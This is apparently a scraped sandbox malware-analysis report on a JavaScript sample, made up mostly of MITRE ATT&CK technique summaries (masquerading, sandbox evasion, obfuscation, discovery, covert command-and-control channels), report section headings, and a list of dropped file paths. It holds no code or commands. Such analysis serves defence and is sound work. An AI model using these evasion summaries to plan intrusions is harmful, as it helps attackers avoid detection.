Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 11057252552282120022.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\91689cd3-01f7-4b94-a5ce-8d966e6185c7.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6948

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
11057252552282120022.js